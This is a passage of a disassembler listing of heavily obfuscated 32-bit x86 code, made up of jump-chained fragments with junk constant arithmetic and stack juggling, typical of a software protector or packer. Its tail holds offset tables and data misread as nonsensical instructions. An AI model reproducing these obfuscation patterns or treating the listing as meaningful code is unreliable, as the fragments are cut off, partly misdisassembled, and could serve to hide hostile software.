esp, 4 jmp loc_582226 ; --------------------------------------------------------------------------- loc_58D6D3: ; CODE XREF: sub_57DD3A+AEB6j shl ecx, 1 sub ecx, 3BD6B10Dh sub edi, ecx jmp loc_58B928 ; --------------------------------------------------------------------------- loc_58D6E2: ; CODE XREF: sub_57DD3A+5CBFj shl edi, 6 jmp loc_583E9B ; --------------------------------------------------------------------------- loc_58D6EA: ; CODE XREF: sub_57DD3A+DAC5j push eax push esp mov eax, [esp+0AEh+var_B0+2] add esp, 4 jmp loc_58925D ; --------------------------------------------------------------------------- loc_58D6FA: ; CODE XREF: sub_57DD3A+D7BDj dec cl add cl, 21h sub al, cl pop ecx add al, bl add al, 0FDh mov bx, word ptr [esp+84h+var_84] jmp loc_584986 ; --------------------------------------------------------------------------- loc_58D70F: ; CODE XREF: sub_57DD3A+D6FFj sub si, dx pop dx pop bp jmp loc_583620 ; --------------------------------------------------------------------------- loc_58D71B: ; CODE XREF: sub_57DD3A+D3C9j xchg ebx, [esp+8Ch+var_8C] pop esp sub edx, 8BB2492h mov ebx, edx push [esp+88h+var_88] pop edx add esp, 4 jmp loc_585AA9 ; --------------------------------------------------------------------------- loc_58D736: ; CODE XREF: sub_57DD3A+6E05j or edx, 7BA17DF1h shr edx, 7 push eax mov eax, 5EF012EEh dec eax push ecx mov ecx, 725350FFh add ecx, 2FB4173Ch xor ecx, 41E366DCh shl ecx, 7 xor ecx, 0F63244DAh jmp loc_58C30B ; --------------------------------------------------------------------------- loc_58D766: ; CODE XREF: sub_57DD3A+6124j sub ebp, 48501035h not ebp jmp loc_588D42 ; --------------------------------------------------------------------------- loc_58D773: ; CODE XREF: sub_57DD3A+5EAAj mov ecx, [esp+76h+var_78+2] add esp, 4 xchg edx, [esp+72h+var_74+2] jmp loc_589CE8 ; --------------------------------------------------------------------------- loc_58D781: ; CODE XREF: sub_57DD3A+FD62j pop eax add edi, 672B153Bh jmp loc_5824FD ; --------------------------------------------------------------------------- loc_58D78D: ; CODE XREF: sub_57DD3A+B0FFj add edx, ecx pop ecx xor edi, edx jmp loc_58775E ; --------------------------------------------------------------------------- loc_58D797: ; CODE XREF: sub_57DD3A+FFEBj mov edi, 3B06360Fh add edx, edi pop edi add edx, ecx sub edx, 3B06360Fh jmp loc_58D995 ; --------------------------------------------------------------------------- loc_58D7AC: ; CODE XREF: sub_57DD3A+7343j mov bh, 35h add al, bh jmp loc_58CCB0 ; --------------------------------------------------------------------------- loc_58D7B5: ; CODE XREF: sub_57DD3A+B9A1j add bl, 81h sub bl, al sub bl, 81h add bl, 8Ah jmp loc_587E83 ; --------------------------------------------------------------------------- loc_58D7C5: ; CODE XREF: sub_57DD3A+7361j sub esp, 4 jmp loc_589D77 ; --------------------------------------------------------------------------- loc_58D7D0: ; CODE XREF: sub_57DD3A+7390j sub al, 0AFh dec al xor al, 91h or al, 1Dh jmp loc_587DE3 ; --------------------------------------------------------------------------- loc_58D7DD: ; CODE XREF: sub_57DD3A+6C98j mov dl, 26h shr dl, 4 and dl, 0D9h push bx jmp loc_58BA33 ; --------------------------------------------------------------------------- loc_58D7EC: ; CODE XREF: sub_57DD3A+58E1j pop esp and eax, esi mov esi, [esp+0A4h+var_A4] add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] push ebx push 1 pop ebx add [esp+0A8h+var_A4], 0EA127DBh add [esp+0A8h+var_A4], ebx push edx jmp loc_589E54 ; --------------------------------------------------------------------------- loc_58D815: ; CODE XREF: sub_57DD3A+CE80j pop ecx mov ah, byte ptr [esp+62h+var_60+2] mov byte ptr [esp+62h+var_60+2], bl pop ebx jmp loc_5818C9 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+5Eh+var_60+2] push 0D82h mov [esp+62h+var_64+2], esi mov esi, esp add esi, 4 push ebx mov ebx, 692B4DB6h xor ebx, 78344D1Eh shl ebx, 2 jmp loc_58A146 ; --------------------------------------------------------------------------- loc_58D84C: ; CODE XREF: sub_57DD3A+DAA6j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58D851: ; CODE XREF: sub_57DD3A+F403j pop esp xor [esp], eax jmp loc_58AE8E ; --------------------------------------------------------------------------- loc_58D85A: ; CODE XREF: sub_57DD3A+6ACDj push edx push edi jmp loc_5849F2 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+0C8h+var_C8] push esi mov esi, esp push ecx push 5184h jmp loc_588270 ; --------------------------------------------------------------------------- loc_58D873: ; CODE XREF: sub_57DD3A+C54Dj push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp+7Eh+var_80+2], edx mov edx, 4 add ecx, edx push [esp+7Eh+var_80+2] jmp loc_583A31 ; --------------------------------------------------------------------------- loc_58D891: ; CODE XREF: sub_57DD3A+A435j not ecx shr ecx, 3 jmp loc_586DE5 ; --------------------------------------------------------------------------- loc_58D89B: ; CODE XREF: sub_57DD3A+99BBj push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp+82h+var_84+2] pop esp xchg esi, [esp+7Eh+var_80+2] mov esp, [esp+7Eh+var_80+2] jmp loc_58B19F ; --------------------------------------------------------------------------- loc_58D8B6: ; CODE XREF: sub_57DD3A+AED1j mov ecx, 1 push ecx xor [esp+9Eh+var_A0+2], 0EB02A87h pop eax jmp loc_589DDB ; --------------------------------------------------------------------------- loc_58D8C9: ; CODE XREF: sub_57DD3A+BCE4j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58D8CE: ; CODE XREF: sub_57DD3A+E710j add al, 0C4h add al, bl sub al, 0C4h push edx push bx mov bl, 0DBh mov dh, bl jmp loc_583029 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+68h+var_68] jmp loc_58BDF1 ; --------------------------------------------------------------------------- loc_58D8E9: ; CODE XREF: sub_57DD3A+AADCj sub ch, 9Fh push ecx mov ch, 9Eh sub al, ch pop ecx jmp loc_58AC36 ; --------------------------------------------------------------------------- loc_58D8F7: ; CODE XREF: sub_57DD3A+86EFj xor al, 2Dh sub ch, al jmp loc_5840F4 ; --------------------------------------------------------------------------- loc_58D900: ; CODE XREF: sub_57DD3A+6DE6j add esi, 6FB30E80h push edi mov edi, 4CE24C11h or edi, 2D644215h and edi, 7F304540h shl edi, 6 xor edi, 64967C04h add esi, edi pop edi sub esi, edx push ebp jmp loc_582A66 ; --------------------------------------------------------------------------- loc_58D92C: ; CODE XREF: sub_57DD3A+E82Bj pop edi push ecx jmp loc_58A0C7 ; --------------------------------------------------------------------------- loc_58D933: ; CODE XREF: sub_57DD3A+C774j sub esp, 4 jmp loc_588D2F ; --------------------------------------------------------------------------- lodsd push ebp mov ebp, 11AE4707h jmp loc_583778 ; --------------------------------------------------------------------------- loc_58D94A: ; CODE XREF: sub_57DD3A+C4C5j pop edx add esp, 4 push edi mov edi, 79771D31h sub ebx, edi pop edi sub ebx, eax add ebx, 79771D31h jmp loc_5896B7 ; --------------------------------------------------------------------------- loc_58D967: ; CODE XREF: sub_57DD3A+74C0j add [esp+0C0h+var_C0], 336E48FEh add [esp+0C0h+var_C0], eax sub [esp+0C0h+var_C0], 336E48FEh sub esp, 4 mov [esp+0C4h+var_C4], esi mov esi, 193A5BDDh add [esp+0C4h+var_C0], esi mov esi, [esp+0C4h+var_C4] add esp, 4 jmp loc_589409 ; --------------------------------------------------------------------------- loc_58D995: ; CODE XREF: sub_57DD3A+FA6Dj mov ecx, [esp+76h+var_78+2] push ebx mov ebx, esp jmp loc_58BBDD ; --------------------------------------------------------------------------- loc_58D9A0: ; CODE XREF: sub_57DD3A+F924j sub esp, 4 mov [esp+72h+var_74+2], ebp push edx jmp loc_5845A5 ; --------------------------------------------------------------------------- loc_58D9AF: ; CODE XREF: sub_57DD3A+6682j mov ebp, ecx jmp loc_5878C5 ; --------------------------------------------------------------------------- loc_58D9B6: ; CODE XREF: sub_57DD3A+5B02j push edx mov dl, 0CAh add dl, 1 neg dl push ebx mov bh, 19h jmp loc_586D39 ; --------------------------------------------------------------------------- loc_58D9C6: ; CODE XREF: sub_57DD3A+A8C1j add ebx, 5BB422CAh push dword ptr [esp+0] pop edx push esi jmp loc_581E35 ; --------------------------------------------------------------------------- loc_58D9D6: ; CODE XREF: sub_57DD3A+5751j add edi, 2 push edi push [esp+0D0h+var_CC] pop edi pop [esp+0D0h+var_D0] mov esp, [esp+0CCh+var_CC] jmp loc_5860FC ; --------------------------------------------------------------------------- loc_58D9ED: ; CODE XREF: sub_57DD3A+9DCEj xchg eax, [esp+6Eh+var_70+2] pop esp jmp loc_58CEE6 ; --------------------------------------------------------------------------- loc_58D9F6: ; CODE XREF: sub_57DD3A+92D0j pop [esp+78h+var_78] pop esp mov cx, word ptr [esp+70h+var_70] push ebx mov ebx, esp push 170Bh mov [esp+78h+var_78], eax mov eax, 4 add ebx, eax pop eax jmp loc_585412 ; --------------------------------------------------------------------------- loc_58DA16: ; CODE XREF: sub_57DD3A+F3F6j pop [esp+0D8h+var_D8] pop eax push 6C8Ah jmp loc_58496A ; --------------------------------------------------------------------------- loc_58DA24: ; CODE XREF: sub_57DD3A+4127j sub esp, 4 mov [esp+86h+var_88+2], edi mov edi, 0DB1D864Fh add ebp, edi jmp loc_58C811 ; --------------------------------------------------------------------------- loc_58DA39: ; CODE XREF: sub_57DD3A+69C8j shr ebp, 2 shr ebp, 6 jmp loc_58CA7B ; --------------------------------------------------------------------------- loc_58DA44: ; CODE XREF: sub_57DD3A+4629j xor [esp+76h+var_78+2], eax xor eax, [esp+76h+var_78+2] pop esp sub esp, 4 mov [esp+76h+var_78+2], ebp jmp loc_5863E0 ; --------------------------------------------------------------------------- loc_58DA56: ; CODE XREF: sub_57DD3A+724Bj sub eax, 4 xchg eax, [esp+0ACh+var_AC] pop esp mov [esp+0A8h+var_A8], edi mov edi, 4 add ebp, edi pop edi push 7D2Bh mov [esp+0A8h+var_A8], eax jmp loc_58BBC5 ; --------------------------------------------------------------------------- loc_58DA75: ; CODE XREF: sub_57DD3A+444Bj mov ebx, [esp+72h+var_74+2] add esp, 4 neg ebx jmp loc_58695B ; --------------------------------------------------------------------------- loc_58DA82: ; CODE XREF: sub_57DD3A+A85Cj pop esp mov [esp+0B8h+var_B8], eax mov eax, 56206DF5h and eax, 667C7E78h and eax, 4CCF4122h sub eax, 0F0D9E02Bh xor edi, eax jmp loc_58D781 ; --------------------------------------------------------------------------- loc_58DAA1: ; CODE XREF: sub_57DD3A+8973j xchg ebp, [esp+0C8h+var_C8] pop esp xchg esi, [esp+0C4h+var_C4] mov esp, [esp+0C4h+var_C4] mov word ptr [esp+0C4h+var_C4], ax jmp loc_5818C9 ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] jmp loc_58483C ; --------------------------------------------------------------------------- loc_58DABE: ; CODE XREF: sub_57DD3A+A6C8j and ebp, ebx pop ebx jmp loc_587EB6 ; --------------------------------------------------------------------------- loc_58DAC6: ; CODE XREF: sub_57DD3A+EE28j add esp, 4 push ecx push edi mov edi, 5C505D09h jmp loc_5842B2 ; --------------------------------------------------------------------------- loc_58DAD8: ; CODE XREF: sub_57DD3A+6566j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58DADD: ; CODE XREF: sub_57DD3A+6B06j mov word ptr [esp+82h+var_84+2], ax jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58DAE6: ; CODE XREF: sub_57DD3A+FE8Dj push esi mov esi, esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+8Ah+var_8C+2] pop esp mov [esp+86h+var_88+2], ebp mov ebp, 9826EEAh not ebp neg ebp jmp loc_581E5B ; --------------------------------------------------------------------------- loc_58DB0A: ; CODE XREF: sub_57DD3A+4AC5j push [esp+0B0h+var_B0] pop ebp add esp, 4 xor edx, eax jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58DB1B: ; CODE XREF: sub_57DD3A+F11Dj push [esp+0B8h+var_B4] jmp loc_587E1C ; --------------------------------------------------------------------------- loc_58DB24: ; CODE XREF: sub_57DD3A+8379j xor edx, 11DB28B9h xor eax, edx pop edx xor eax, 582AF350h mov ebx, eax pop eax add ebx, 367E5221h add ebx, edi sub ebx, 367E5221h push edx sub esp, 4 mov [esp+4Ah+var_4C+2], ebx mov bl, al mov dl, bl mov ebx, [esp+4Ah+var_4C+2] add esp, 4 mov [ebx], dl jmp loc_587A2C ; --------------------------------------------------------------------------- loc_58DB5B: ; CODE XREF: sub_57DD3A+4525j mov [esp+76h+var_78+2], esp jmp loc_588540 ; --------------------------------------------------------------------------- jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58DB68: ; CODE XREF: sub_57DD3A+A2F2j pop ebp sub edx, 4 push edx push [esp+90h+var_8C] pop edx pop [esp+90h+var_90] pop esp jmp loc_5842A5 ; --------------------------------------------------------------------------- loc_58DB7B: ; CODE XREF: sub_57DD3A+7DC0j and edx, edi jmp loc_588684 ; --------------------------------------------------------------------------- loc_58DB82: ; CODE XREF: sub_57DD3A+707Dj xor esi, 183558Dh jmp loc_583EF5 ; --------------------------------------------------------------------------- loc_58DB8D: ; CODE XREF: sub_57DD3A+3D15j mov ebx, 0FFFFh and eax, ebx push [esp+5Eh+var_60+2] pop ebx push ecx mov ecx, esp jmp loc_589985 ; --------------------------------------------------------------------------- loc_58DBA0: ; CODE XREF: sub_57DD3A+AF11j xor ebp, [esp+70h+var_70] pop esp and [esp+6Ch+var_6C], eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58DBAD: ; CODE XREF: sub_57DD3A+C699j add ebx, edi jmp loc_5846F4 ; --------------------------------------------------------------------------- loc_58DBB4: ; CODE XREF: sub_57DD3A+C519j pop ebp add ebp, 4 add ebp, 4 jmp loc_58BC60 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+98h+var_98] jmp loc_58DAE6 ; --------------------------------------------------------------------------- push [esp+98h+var_98] jmp loc_58C626 ; --------------------------------------------------------------------------- loc_58DBD4: ; CODE XREF: sub_57DD3A+D460j push ebx jmp loc_58380D ; --------------------------------------------------------------------------- loc_58DBDA: ; CODE XREF: sub_57DD3A+C46Cj mov bh, 0A1h add bh, 25h add al, bh pop ebx jmp loc_58AA0D ; --------------------------------------------------------------------------- loc_58DBE7: ; CODE XREF: sub_57DD3A+D128j pop esi add esp, 4 add ebp, 4 xchg ebp, [esp+7Eh+var_80+2] jmp loc_589150 ; --------------------------------------------------------------------------- loc_58DBF9: ; CODE XREF: sub_57DD3A+7CACj pop esi shl esi, 4 add esi, 0FBC0827Bh push edx mov edx, 35D395Dh add ebx, edx pop edx sub ebx, esi sub ebx, 35D395Dh jmp loc_584391 ; --------------------------------------------------------------------------- loc_58DC19: ; CODE XREF: sub_57DD3A+9495j push ebp mov ebp, 2DAB1B79h add [esp+62h+var_60+2], 0DC0613Ch sub [esp+62h+var_60+2], ebp sub [esp+62h+var_60+2], 0DC0613Ch jmp loc_58C25F ; --------------------------------------------------------------------------- loc_58DC38: ; CODE XREF: sub_57DD3A+10137j mov eax, [esp+62h+var_64+2] add esp, 4 pop [esp+5Eh+var_60+2] pop esp push ebp mov ebp, esp jmp loc_58524C ; --------------------------------------------------------------------------- loc_58DC4A: ; CODE XREF: sub_57DD3A+8947j add ebp, 3ADCA1B1h mov edi, ebp pop ebp add eax, edi pop edi push 5B0Ch mov [esp+9Ch+var_9C], esi mov esi, 75A3177Ah xor esi, 67993219h shr esi, 1 push 796Bh mov [esp+0A0h+var_A0], ebx mov ebx, 0 jmp loc_584E2B ; --------------------------------------------------------------------------- loc_58DC7D: ; CODE XREF: sub_57DD3A+C47Dj sub esp, 4 mov [esp+90h+var_90], ebx mov ebx, 1 jmp loc_581F3F ; --------------------------------------------------------------------------- loc_58DC8D: ; CODE XREF: sub_57DD3A+F8FEj mov [esp+7Eh+var_80+2], eax jmp loc_588F70 ; --------------------------------------------------------------------------- loc_58DC95: ; CODE XREF: sub_57DD3A+932Bj mov al, 0A1h push edx sub esp, 4 jmp loc_582626 ; --------------------------------------------------------------------------- loc_58DCA3: ; CODE XREF: sub_57DD3A+4A76j sub edx, 4C49A795h mov esi, edx push [esp+0AAh+var_AC+2] pop edx add esp, 4 jmp loc_58260E ; --------------------------------------------------------------------------- loc_58DCB7: ; CODE XREF: sub_57DD3A+667Bj dec esi dec esi xor esi, 56BE7B77h add ecx, esi pop esi add ecx, 4 xchg ecx, [esp+0B2h+var_B4+2] pop esp pop [esp+0AEh+var_B0+2] jmp loc_586587 ; --------------------------------------------------------------------------- loc_58DCD4: ; CODE XREF: sub_57DD3A+5009j push ebp mov ebp, 4A4023B8h add eax, ebp pop ebp push 4F41h mov [esp+96h+var_98+2], ebx mov ebx, 5AECF657h jmp loc_58851C ; --------------------------------------------------------------------------- mov cx, word ptr [esp+96h+var_98+2] push edx mov edx, esp add edx, 4 push 7152h mov [esp+9Eh+var_A0+2], ecx mov ecx, 5C213924h add ecx, 268A4031h push edx mov edx, 0FFFFFFFFh add ecx, edx pop edx shr ecx, 2 shr ecx, 4 sub ecx, 20AADE3h push edi jmp loc_58D797 ; --------------------------------------------------------------------------- loc_58DD2A: ; CODE XREF: sub_57DD3A+EA3Cj mov esi, 371E1CBBh jmp loc_58A539 ; --------------------------------------------------------------------------- loc_58DD34: ; CODE XREF: sub_57DD3A+64E1j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58DD39: ; CODE XREF: sub_57DD3A+DA72j xchg edi, [esp+88h+var_88] pop esp push esi push [esp+88h+var_84] mov esi, [esp+8Ch+var_8C] push ebp mov ebp, esp add ebp, 4 jmp loc_58D127 ; --------------------------------------------------------------------------- loc_58DD53: ; CODE XREF: sub_57DD3A+52D6j mov ch, 0F7h mov al, ch pop cx add al, dh pop edx push eax mov ah, 0EFh add bl, ah jmp loc_5877E7 ; --------------------------------------------------------------------------- loc_58DD66: ; CODE XREF: sub_57DD3A+49FFj mov edx, 9C6326CCh sub eax, edx pop edx add ebx, eax pop eax add ebx, 4 xchg ebx, [esp+8Eh+var_90+2] mov esp, [esp+8Eh+var_90+2] pop eax add eax, 625F00B4h jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58DD88: ; CODE XREF: sub_57DD3A+ED3Cj add esp, 4 jmp loc_5864A7 ; --------------------------------------------------------------------------- loc_58DD90: ; CODE XREF: sub_57DD3A+E0F2j pop ecx jmp loc_584A83 ; --------------------------------------------------------------------------- loc_58DD96: ; CODE XREF: sub_57DD3A+A060j pop esp pop ebp push ebx mov ebx, 2BBC2E99h jmp loc_58C2C4 ; --------------------------------------------------------------------------- loc_58DDA3: ; CODE XREF: sub_57DD3A+6171j mov eax, 4 push edi mov edi, 35776832h add ebp, edi pop edi sub ebp, eax jmp loc_581AE4 ; --------------------------------------------------------------------------- loc_58DDB8: ; CODE XREF: sub_57DD3A+E638j add esi, ebp push eax jmp loc_58627F ; --------------------------------------------------------------------------- loc_58DDC0: ; CODE XREF: sub_57DD3A+830Fj add esp, 4 push eax pop ebp mov eax, [esp+86h+var_88+2] jmp loc_58A2A5 ; --------------------------------------------------------------------------- loc_58DDCD: ; CODE XREF: sub_57DD3A+4808j mov [esp+0ACh+var_AC], edi jmp loc_5848B9 ; --------------------------------------------------------------------------- loc_58DDD5: ; CODE XREF: sub_57DD3A+7D45j push ecx mov cl, dh jmp loc_586825 ; --------------------------------------------------------------------------- loc_58DDDD: ; CODE XREF: sub_57DD3A+CF39j mov esi, 4 sub edx, esi mov esi, [esp+94h+var_94] add esp, 4 xchg edx, [esp+90h+var_90] pop esp mov [esp+8Ch+var_8C], edi mov edi, 6EA0A59Eh xor eax, edi mov edi, [esp+8Ch+var_8C] jmp loc_5875C2 ; --------------------------------------------------------------------------- loc_58DE00: ; CODE XREF: sub_57DD3A+8C32j add ebx, 334D04BFh sub ebx, ecx push ebp mov ebp, 180F17BBh shl ebp, 1 jmp loc_584B57 ; --------------------------------------------------------------------------- loc_58DE15: ; CODE XREF: sub_57DD3A+7DB6j mov edi, 15D303F6h sub eax, 3A295A30h add eax, edi add eax, 3A295A30h pop edi jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58DE2C: ; CODE XREF: sub_57DD3A+EF58j push 554Ah jmp loc_5888B3 ; --------------------------------------------------------------------------- loc_58DE36: ; CODE XREF: sub_57DD3A+4965j xor edi, [esp+8Ah+var_8C+2] mov esp, [esp+8Ah+var_8C+2] inc [esp+8Ah+var_8C+2] pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58DE45: ; CODE XREF: sub_57DD3A+97A2j mov dl, al pop eax pop bx push ebx mov bh, 0D5h sub al, 67h sub al, bh sub esp, 2 mov word ptr [esp+70h+var_70], bx mov bl, 67h add al, bl jmp loc_5895B9 ; --------------------------------------------------------------------------- loc_58DE61: ; CODE XREF: sub_57DD3A+8303j add esp, 4 add eax, 4 push eax push [esp+7Ch+var_78] jmp loc_58DC38 ; --------------------------------------------------------------------------- loc_58DE76: ; CODE XREF: sub_57DD3A+7F6Fj push edi jmp loc_588585 ; --------------------------------------------------------------------------- loc_58DE7C: ; CODE XREF: sub_57DD3A+A9F4j add ebx, 4 push ebx push [esp+72h+var_70+2] jmp loc_58C1DB ; --------------------------------------------------------------------------- loc_58DE8C: ; CODE XREF: sub_57DD3A+57F1j push 556Fh mov [esp+9Ah+var_9C+2], ebp mov ebp, esp jmp loc_583B2C ; --------------------------------------------------------------------------- loc_58DE9B: ; CODE XREF: sub_57DD3A+E9B8j mov ebx, 40AA226Bh jmp loc_5866F6 ; --------------------------------------------------------------------------- loc_58DEA5: ; CODE XREF: sub_57DD3A+A77Cj pop esi push 0 sub [esp+86h+var_88+2], edx pop edx jmp loc_58BF79 ; --------------------------------------------------------------------------- loc_58DEB4: ; CODE XREF: sub_57DD3A+102D9j add dl, 0B1h jmp loc_58AAEE ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58DEC4: ; CODE XREF: sub_57DD3A+A76Fj mov edx, [esp+6Eh+var_70+2] sub esp, 4 mov [esp+72h+var_74+2], ebx sub esp, 4 jmp loc_5863CC ; --------------------------------------------------------------------------- loc_58DEDB: ; CODE XREF: sub_57DD3A+DDCCj push ebx mov ebx, 1CC2663Dh jmp loc_58B1BC ; --------------------------------------------------------------------------- push [esp+0B8h+var_B8] mov ecx, [esp+0BCh+var_BC] add esp, 4 push 28C9h mov [esp+0BCh+var_BC], ebx push 1AFEh mov [esp+0C0h+var_C0], esp jmp loc_58B5C2 ; --------------------------------------------------------------------------- loc_58DF07: ; CODE XREF: sub_57DD3A+6A5Bj jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58DF0C: ; CODE XREF: sub_57DD3A+77A2j pop ecx add al, 0DFh push ebx jmp loc_583DF8 ; --------------------------------------------------------------------------- loc_58DF15: ; CODE XREF: sub_57DD3A+3D1Bj mov ebp, 0D76CE189h sub esi, ebp jmp loc_587EEE ; --------------------------------------------------------------------------- loc_58DF21: ; CODE XREF: sub_57DD3A+B9B7j push 1B3Bh mov [esp+6Ah+var_6C+2], esi push ebx mov ebx, 1 push esi jmp loc_589904 ; --------------------------------------------------------------------------- loc_58DF35: ; CODE XREF: sub_57DD3A+C476j xor ebp, edx xor edx, ebp add edx, 452336BCh sub eax, edx jmp loc_585326 ; --------------------------------------------------------------------------- loc_58DF46: ; CODE XREF: sub_57DD3A+52CFj push [esp+84h+var_80] mov edi, [esp+88h+var_88] jmp loc_5834C9 ; --------------------------------------------------------------------------- push 786h mov [esp+8Ch+var_8C], esi push 0FEh pop esi jmp loc_585D98 ; --------------------------------------------------------------------------- loc_58DF65: ; CODE XREF: sub_57DD3A+6AF7j xor al, bl push 4220h mov [esp+92h+var_94+2], ecx jmp loc_58CD8D ; --------------------------------------------------------------------------- loc_58DF74: ; CODE XREF: sub_57DD3A+7774j add esp, 4 sub esp, 4 mov [esp+72h+var_74+2], eax jmp loc_586712 ; --------------------------------------------------------------------------- loc_58DF88: ; CODE XREF: sub_57DD3A+DF8Aj mov eax, 7D7745C9h xor eax, 6D5B4E1Fh inc eax push edi mov edi, 19154C1Ch jmp loc_58B9C2 ; --------------------------------------------------------------------------- loc_58DF9E: ; CODE XREF: sub_57DD3A+4B51j add edx, eax pop eax xchg edx, [esp+96h+var_98+2] pop esp push edx push 36FEh push esp pop [esp+9Eh+var_A0+2] add [esp+9Ah+var_9C+2], 4 jmp loc_5826C7 ; --------------------------------------------------------------------------- loc_58DFBB: ; CODE XREF: sub_57DD3A+972Ej push ebx mov ebx, 46774A82h push esi mov esi, 662A071Ah add esi, 0D5110C1Ah or ebx, esi pop esi add ebx, 8A909FCh sub ebx, 61867ADEh jmp loc_5858AE ; --------------------------------------------------------------------------- loc_58DFE1: ; CODE XREF: sub_57DD3A+E6C9j add edi, 106F5CE9h push 3375h mov [esp+86h+var_88+2], ebp mov ebp, 15C6357Fh shr ebp, 6 push ecx mov ecx, 7A81E37h or ebp, ecx jmp loc_589633 ; --------------------------------------------------------------------------- loc_58E004: ; CODE XREF: sub_57DD3A+580Ej push 626E5171h jmp loc_58BA1E ; --------------------------------------------------------------------------- loc_58E00E: ; CODE XREF: sub_57DD3A+5432j pop cx shl dl, 8 jmp loc_58DEB4 ; --------------------------------------------------------------------------- loc_58E018: ; CODE XREF: sub_57DD3A+D00Aj push esp pop [esp+0D0h+var_D0] push edx mov edx, 4 add [esp+0D0h+var_CC], edx pop edx jmp loc_58AA2E ; --------------------------------------------------------------------------- dd 0FA429A2Fh, 5E73E9h, 58274E41h, 7C90EB94h, 5ED535h dd 12FF4Ch, 5E68BCh, 213h, 2, 1, 5, 0FA429A2Fh, 5 dup(0) dd offset loc_5A046A dd offset off_597B6E dd offset loc_59C58A dd offset loc_59B026 dd offset loc_59F83D dd offset loc_58E486 dd offset loc_598578 dd offset loc_59ABF9 dd offset loc_59D955 dd offset loc_59FB44 dd offset loc_59D68F dd offset loc_597440 dd offset loc_59EDF0 dd offset loc_596920 dd offset loc_592449 dd offset loc_59E158 dd offset loc_597CE3 dd offset loc_59CC0C dd offset loc_5956DE dd offset loc_59F633 dd offset loc_5A2187 dd offset loc_5A09E9 dd offset loc_593F04 ; --------------------------------------------------------------------------- sar dh, 58h add ch, al mov edi, 0B9350059h pop ecx add [ebx+400059A0h], al jno short loc_58E138 add [eax+59h], dl add [eax+4E0059CAh], al add bl, [edx+0] mov dl, 12h pop edx add [edi], ch sub al, 59h add cl, ch pop ss pop edx add [ebx], ah mov ebx, 892B0059h pop ecx add [edi+ebp], bl pop ecx add [ecx], bh db 2Eh pop edx add [edi], bh jmp short near ptr loc_58E163+1 ; --------------------------------------------------------------------------- align 4 dd offset loc_59FEB0 dd offset loc_59E187 dd offset aN_uacWsWcmrFN1 ; "-_UAc)ØWS»WcŒr¿(FÅn1ß[h-(" dd offset loc_59D30F dd offset loc_59C407 dd offset loc_5A0246 dd offset loc_59EDCD dd offset loc_59428C dd offset loc_591554 dd offset loc_59FB2D dd offset loc_59F235 ; --------------------------------------------------------------------------- loc_58E138: ; CODE XREF: sub_57DD3A+103A3j scasd setalc pop ecx add dh, ah out dx, eax pop eax add [eax+6A00595Ah], dl insb pop ecx add al, dh rep pop eax add [ebx+16h], al pop edx add [ebx-39h], ah pop ecx add [eax+2], dl pop ecx add [ebx-1FFA6F1h], bh sbb dword ptr [ecx+0], 5Ah xchg eax, ebp pop ecx loc_58E163: ; CODE XREF: sub_57DD3A+103CFj add [ebp-78h], al pop ecx add dh, dh pop es pop ecx add [ecx+ebx*8+13170059h], bh pop edx add [edi+10h], ch pop ecx add [edi], cl out 58h, eax add [ebx], bh inc esi pop ecx add dl, ah lahf pop ecx add [ecx-49FFA679h], cl mov dh, 59h add [ebp+720058E9h], dl setalc pop ecx add [edi], dl loc_58E195: ; CODE XREF: sub_57DD3A+104BEj test eax, 395C0059h pop ecx add [ebp-2AFFA60Eh], bh adc eax, 5D20059h pop ecx add al, bh db 26h pop edx add [edx-65FFA659h], dh call fword ptr [eax+0] pop ebp rcr dword ptr [ecx+0], cl out dx, eax mov ebx, 0FF2D0059h pop ecx add [eax], ah test [ecx+0], ebx add edx, [ebx+59h] add [eax+1], cl pop edx add byte ptr [esp+eax*4+70h+var_1A+3], al add al, bl and [edx+0], bl mov eax, es:62440059h pop ecx add [esi], dh outsd pop ecx add [edi-72h], bl pop ecx add [eax-50h], dh pop ecx add [ebx-2Fh], ch pop ecx add [ebx-5Fh], bl pop ecx add [edi+3Eh], al pop ecx add ah, bl adc ebx, [edx+0] ja short loc_58E195 pop ecx add ch, ah lea ebx, [ecx+0] mov bl, 0B4h pop ecx add [ecx+90059D0h], ch or eax, 0C48F005Ah pop ecx add bh, dl db 64h pop ecx add al, cl ; CODE XREF: sub_57DD3A+104FEj jb short loc_58E270 add [edi-23FFA64Eh], bh mov edx, 14400059h pop edx add [esp+eax+40h+arg_33FB0015], al pop ecx add [edx+20h], al pop edx add [edx+470059A3h], bh fistp dword ptr [ecx+0] jmp short near ptr loc_58E213+1 ; --------------------------------------------------------------------------- dw 59h dd offset loc_59C31C dd offset loc_59827B dd offset loc_598B88 dd offset loc_5941A9 dd offset dword_5964B8 dd offset loc_594E98 dd offset loc_58E9EC dd offset loc_598035 dd offset loc_59601A dd offset loc_59CFD5 ; --------------------------------------------------------------------------- rcr dword ptr [ebp+59h], 0 sbb [edx], ah pop edx add cl, dl lea ebx, [ecx+0] loc_58E270: ; CODE XREF: sub_57DD3A+104DBj jl short near ptr loc_58E27F+2 pop ecx add [edx+0A00598Eh], bh and [ecx+0], ebx test edx, edx pop ecx loc_58E27F: ; CODE XREF: sub_57DD3A:loc_58E270j add [eax-66h], bl pop ecx add ds:0FDA0059h[eax*8], bl pop ecx add [esi], dl sbb eax, 0AC9A0059h pop ecx add bh, bl 